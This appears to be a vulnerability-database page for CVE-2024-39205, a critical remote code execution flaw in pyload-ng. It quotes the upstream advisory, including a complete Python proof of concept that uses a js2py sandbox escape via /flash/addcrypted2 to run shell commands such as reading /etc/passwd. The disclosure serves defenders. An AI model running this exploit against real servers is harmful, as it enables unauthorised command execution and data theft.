Answer in brief
CVE-2024-39205 records a Critical severity (CVSS 9.8) vulnerability in pyload-ng vulnerable to RCE with js2py sandbox escape. The current sources do not mark it as known exploited. The current feed maps pyload-ng (pip). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps pyload-ng (pip). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| pyload-ngpip | <=0.5.0b3.dev85 | Not reported |
Published upstream
Sep 9, 2024
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Nov 16, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Nov 16, 2026
### Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. ### Details js2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE. ### PoC The PoC is provided as `poc.py` below, you can modify the shell command it execute: ```python import socket import base64 from urllib.parse import quote host, port = input("host: "), int(input("port: ")) payload = """ // [+] command goes here: let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;" let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve("__getattribute__") obj = n11("__class__").__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) function f() { return n11 } """ crypted_b64 = base64.b64encode(b"1234").decode() data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}" request = f"""\ POST /flash/addcrypted2 HTTP/1.1 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: {len(data)} {data} """.encode().replace(b"\n", b"\r\n") def main(): s = socket.socket() s.connect((host, port)) s.send(request) response = s.recv(1024).decode() print(response) if __name__ == "__main__": main() ``` ### Impact Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.
Quoted source text, attributed separately from HOL analysis.